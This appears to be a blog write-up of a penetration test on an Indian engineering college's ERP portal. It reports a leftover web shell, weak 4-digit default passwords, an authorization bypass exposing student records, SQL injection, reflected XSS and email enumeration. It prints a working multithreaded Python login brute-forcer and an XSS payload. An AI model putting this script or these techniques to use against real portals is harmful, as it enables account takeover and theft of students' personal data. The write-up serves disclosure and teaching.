Hacking into Academic ERP Portal of An Engineering College of Kolkata
By: Rahul Kumar
Tags: Hacking, Organization, Cybersecurity, College, Pentesting

A) REMOTE CODE EXECUTION:

We found RCE on the server within 2 minutes by simply fuzzing. The web server was running on an older version(7.0.69) of Tomcat. We started fuzzing for juicy files and folders with the extension “.jsp”. Within 2 minutes of simple fuzzing, a page pops up with a status code of 200 named “info.jsp”.

We used ffuf to fuzz and get the appropriate 200 response. ffuf is a fast web fuzzer written in Go.

Simply opening the link (https://www.website.com/info.jsp) in the browser, we got a pwnshell. We had multiple options to view and manage the server files.

pwnshell

System Administrator of webserver uploaded this shell for testing purpose and was suppose to remove this shell after the testing. Unfortunately, this shell was not removed and the whole server was left vulnerable and compromised easily in seconds.

B) NO RATE LIMITING ON LOGIN FORM:

On the login page, the webserver doesn’t have any type of protection and it was generating a default password of 4 digits for every student associated with the organization. It was very convenient to brute force the login page. If the user didn’t change the default password (which, normally nobody cares about), we can easily get his/her password in less than few mins, because, total no. of combinations of 4 digits numeric passwords is 10000 only. We created a small python script to automate this process. And, we can have access to almost all accounts we know the email for. (Getting someone’s email addresses is not tough though. Please check the EMAIL DISCLOSURE OF STUDENTS section.)

#!usr/bin/env python3 import requests

import threading

import queue

import os

import time

import re username = input(“Enter the enrollment number of the user: “)

user_thread = input(“Enter the no. of threads you want to use

~should be less than 100 for better performance}: “)

start_time = time.time() password_list= open(‘password.txt’,’r’).readlines()

#Creating a queue

q=queue.Queue()

for password in password_list:

q.put(password) target_url = “https://www.website.com/i***n/lo******e.jsp?m****=15730e1591c965c5f07acc9184ebbfc24570a448225f8f574b14259f785ccbb0"

target_post= “https://www.website.com/i***n/login.jsp"

#r = requests.get(target_url) class WorkerThread(threading.Thread):

def __init__(self, tid):

threading.Thread.__init__(self)

self.tid = tid

self.username = username def run(self):

while True and not q.empty():

passwd = q.get()

print(“[-]Trying Username: “ + self.username + “ with password : “ + passwd)

try:

with requests.Session() as session:

#Payload Config here

payload = {‘text1’:self.username, ‘text2’:passwd, ‘mtype’:’student’, ‘submit1’:’Go’}

#Getting post request link here

r = session.get(target_url)

var = re.findall(“\?m****=(.*?)>Institute”, str(r.content))

target_post = “https://www.website.com/i***n/login.jsp" + “?m****=” + var[0]

#print(target_post)

#Sending another request with payload here

response = session.post(target_post, payload)

print(len(response.content))

#Checking for success here

#3497

if len(response.content)>3400:

print(“

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — “)

print(“|[+]Password Found — -> “ + passwd + “ Waiting for other threads to exit…”)

#Time format here

end_time = time.time()

hours, rem = divmod(end_time-start_time, 3600)

minutes, seconds = divmod(rem, 60)

print(“Time Elapsed: {:0>2} hr:{:0>2} min:{:05.2f} sec”.format(int(hours),int(minutes),seconds))

#Writing credential to a file here

print(“[+]Testing Complete…





[+]Writing the credentials to the file…”)

f = open(“credentials.txt”, “a+”)

credential = self.username + “ — — — — — — → “ + passwd

f.write(credential)

f.close()

#Completion of program here

print(“[+]Done Writing.

[+] Exiting…”)

print(“ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -”) os._exit(1) except:

raise

os._exit(1)

#Getting failure in finding password here

print(“

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — “)

print(“[-]Password not found.

Try changing the worlist.

Exiting…”)

end_time = time.time()

hours, rem = divmod(end_time-start_time, 3600)

minutes, seconds = divmod(rem, 60)

print(“Time Elapsed: {:0>2} hr:{:0>2} min:{:05.2f} sec”.format(int(hours),int(minutes),seconds))

print(“ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -”)

os._exit(1) threads = []

for i in range(int(user_thread)):

worker = WorkerThread(i)

worker.setDaemon(True)

threads.append(worker)

worker.start() q.join()

for item in threads:

item.join()

C) PRIVATE INFORMATION DISCLOSURE OF 14821 STUDENTS:

Now we started discovering juicy endpoints from sources like Github, reading js files, from AlienVault’s Open Threat Exchange, the Wayback Machine, and Common Crawl. There is this great tool called gau, which can make your life easy. We noticed a page that looks suspicious named https://www.website.com/i***n/ae*****.jsp. When we visited that page, it redirected us to the login page. To bypass that 301 redirects, we first captured a valid cookie that is authenticated to the student. We used our own credentials to get a valid cookie, though any credential through brute force was valid. After visiting the page with that authenticated cookie, the server accepted our request gracefully and served the page. We crawled here and there manually to get the details of all the students, faculties and alumni. (Data can’t be disclosed, so we are just sharing the cropped PoC.)

This page can be used to defame the organization by sending abusive mail to

the guardian’s mail of any student on behalf of that organization, and the page was also disclosing confidential information of 14821 students.

The main issue here was the difference between authentication and authorization. I won’t go into details but for clearance, Authentication is who you are, and Authorization is what you can do. Since we were authenticated to the server as a student but a student must not be supposed to access the admin page at any cost except admin, the server was lacking authorization logic implementation, thus was vulnerable.

D) SQL INJECTION:

We discovered another page named a***_al***.jsp We used the same technique mentioned above to bypass the authentication. Since, as the name suggests, the alumni page must not access by a student. There was a form that was taking profile details of alumni as input. We tried to inject a basic payload to check for any SQL injection vulnerability `’` and the server throws an error confirming the vulnerability.

With this vulnerability, we were able to dump the whole database. This can be done using sqlmap very easily. (We can’t disclose that information.)

E) ACCESS TO THE ADMINISTRATOR PAGE

There was an admin page named adm***.jsp Abusing the authorization logic, in the same way, discussed above, we were represented with the admin page.

Admin page

We were able to select and view details of any Faculty from the organization and even create new account of duplicate Faculty Members.

Edit Attendance

We were able to modify attendance in any way we wanted.

EXAM QUESTIONS

We were able to create question papers and solutions for any subject we wanted.

F) REFLECTED XSS

While crawling the site, we came across a page named

https://www.website.com/i***n/loginC*******.jsp. We fuzzed the link

for the known parameter. After 10 min, we identified a valid parameter

“schname” which was vulnerable to reflected cross-site scripting

attack. We used a custom payload attached below here : https://www.website.com/i***n/loginC********.jsp?schname=<payload>

https://www.website.com/i***n/loginC********.jsp?schname=”><script>alert(0)</script>

G) EMAIL DISCLOSURE OF STUDENTS.

In the forgot password functionality of website.com, once, we click

the forgot button, the server was asking for an enrollment number. Since the enrollment number is very predictable and are in sequence, we were able to disclose the email address of any user. We can fetch the email addresses of students easily by using burp intruder or using a simple python script. It was

suggested to disclose only 4 starting and ending letters of email in

the response.